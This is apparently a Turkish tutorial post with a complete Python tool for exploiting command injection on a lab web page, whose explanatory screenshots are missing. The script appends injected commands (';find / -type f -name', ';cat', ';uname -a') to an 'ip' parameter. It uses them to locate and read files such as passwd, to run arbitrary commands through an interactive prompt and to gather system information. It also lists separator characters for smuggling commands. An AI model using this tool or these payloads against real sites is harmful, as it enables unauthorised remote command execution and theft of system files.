bilmemiz gereken temel bilgiler :
dizinimde hangi içeriklerin olduğuna bakıyorum
path.py adlı dosyayı çekmek istiyorum bunu için şu komutu yazmalıyım
görebildiğiniz gibi dosyanın yolu bize gelmiş oldu:
/home/a/Desktop/python/exploit/path.py
bu dosyanın içeriğini okumak için
açıklama :
/ : kök dizinden itibaren arama yap demek
-type f : file tipinde arama yap yani dosya tipinde arama yap demek
-name 'path.py' : aradıgımız dosyanın ismi
buradaki bilgiler siteden passwd ve hosts dosyası gibi dosyaları çekerken işimize yarıycak
----------------------------------------------------------; noktalı virgül ne işe yarar
etc dizininde iken önce Desktop dizinine gittim ve ardından ls komutunu çalıştırdım (ve bunu aynı satırda yaptım) yani noktalı virgül bir satırda birden fazla komut çalıştırmamızı sağlar
-----------------------------------------dizinlerde geriye gitmek :
-----------------------------------------
command injection açığı olan bir sitede ; yardımı ile komut çalıştırabiliyoruz
----------------------------------------kodlara geçelim :
b 'nin içindeki değerler :
şimdi bu gelen değerler içinden işimize yarayacakları alalım
resimde gordüğünüz gibi bize gelen dosyalardan önce ms adında bir yazı var o zaman ms denen yeri split("ms") ile parçalayalım
parçaladıktan sonra değerler bir liste haline dönecek ve bizim işimize yarayan değerlerde 4.indexde olacak bizim indeximizde gereksiz bir </pre>] değeri var bunuda replace("</pre>]","") ile kaldırıyoruz
ardından split() ile her bir değeri birbirinden ayırıyoruz ayırmazsak gelen değerler bir bütün olarak sayılır
sonucumuz :
kodun devamı :
-----------------------------------------------
-----------------------------------------------
toolumuzu kullanalım :
ilk olarak karşımıza bura çıkıcak :
ben dosya çekmek istedigim icin 1 e basıyorum
ve ardından dosya adını belirtiyorum
istedigim dosyanın hangi dizinlerde bulundugunu bana gosterdi 7 ye basarak hepsinin içeriğini alabiliriz ama ben 4 e basıcam
passwd dosyasının içeriği bu şekildeydi
--------------------şimdi 2.secenegi secelim
3.secenekde bize sistem bilgisni veriyor :
toolun videoda çalışan hali :
videokodun tam hali :
Python:
import requests
from bs4 import BeautifulSoup
import subprocess
#kodu geliştirmek isteyenler için:
#siteye gonderilen değerleri encode işleminden geçirip gönderebilirsiniz
#bazen sadece ; kullanımı yetmeyebilir komut yazmak için bunlarıda kullanmamız gerekebilir [";","|","&","&&"]
while True:
print("çıkmak için ctrl+c yada ctrl+z ye basın")
print("""
ne yapmak istiyorsunuz ?
1) dosya çekmek
2) sitede komut çalıştırmak
3) sistemin bilgilerini öğrenmek
""")
while True:
try:
girdi = int(input())
break
except:
print("sayı girin")
site = "http://10.0.2.7/commandexec/example1.php?ip=127.0.0.1"
bul = ";find / -type f -name"
en_dibe_git = ";cd ../../../../../"
if girdi == 1:
subprocess.call("clear",shell=True)
while True:
dosya_adı = str(input("sadece dosya adını yaz örneğin : passwd\n\n"))
a = requests.get(f"{site}{en_dibe_git}{bul} '{dosya_adı}'").text
b = BeautifulSoup(a,'html.parser').find_all("pre")
k = str(b).split("ms")[4].replace("</pre>]","").split()
if not k:
a = requests.get(f"{site}{en_dibe_git}{bul} '{dosya_adı.lower()}'").text
b = BeautifulSoup(a,'html.parser').find_all("pre")
k = str(b).split("ms")[4].replace("</pre>]","").split()
if not k:
subprocess.call("clear",shell=True)
print("dosya adını yanlış girdiniz yada dosya mevcut değil\n")
continue
liste = []
dizinler = []
for i in k:
dizinler.append(i)
liste.append(requests.get(f"{site}{en_dibe_git};cat {i}").text)
sayı = 0
print("Çekmek İstediginiz Dosyayı İçeren Mevcut Dizinler :\n")
for a in dizinler:
print("************************")
print(f"{sayı} :",a)
sayı += 1
print("************************")
print(f"{sayı} : hepsi")
while True:
try:
çekmek_istenilen_dosya = int(input("\nHangi Dizindeki Dosyayı Çekmek İstersiniz "))
break
except:
print("integer değer gir")
if çekmek_istenilen_dosya == sayı:
for sayılar in range(sayı):
dosya_içeriği = str(liste[sayılar]).split("ms")[4].split("</pre>")[0]
if not dosya_içeriği.split():
print(f"\n{dizinler[sayılar]} ADLI DOSYAYI OKUMAYA İZNİNİZ YOK BAŞKA BİR DOSYA DENEYİN\n")
print("#############################################")
else:
print(f"{dizinler[sayılar]} ADLI DOSYANIN İÇERİĞİ :\n{dosya_içeriği}")
print("#############################################")
else:
dosya_içeriği = str(liste[çekmek_istenilen_dosya]).split("ms")[4].split("</pre>")[0]
if not dosya_içeriği.split():
print("#############################################")
print(f"\n{dizinler[çekmek_istenilen_dosya]} ADLI DOSYAYI OKUMAYA İZNİNİZ YOK BAŞKA BİR DOSYA DENEYİN\n")
print("#############################################")
else:
print("#############################################")
print(f"{dizinler[çekmek_istenilen_dosya]} ADLI DOSYANIN İÇERİĞİ :\n{dosya_içeriği}")
print("#############################################")
elif girdi == 2:
subprocess.call("clear",shell=True)
print("#############################################")
print("NOT bu alanda tek kullanımlık komutlar girebilirsiniz ornegin önce cd /etc komutunu girip ardından ls komutunu yazamazsınız cd /etc;ls komutunu girmeniz gerekir")
print("#############################################")
while True:
komut = input("komutu girin :\n")
çıktı = requests.get(f"{site};{komut}").text
a = BeautifulSoup(çıktı,'html.parser').find_all("pre")
print("*********************************************")
print(str(a).split("ms")[4].replace("</pre>]",""))
print("*********************************************")
elif girdi == 3:
subprocess.call("clear",shell=True)
sistem_adı = requests.get(f"{site};uname -a").text
b = BeautifulSoup(sistem_adı,'html.parser').find_all("pre")
print("#############################################")
print(str(b).split("ms")[4].replace("</pre>]",""))
print("#############################################")
Son düzenleme: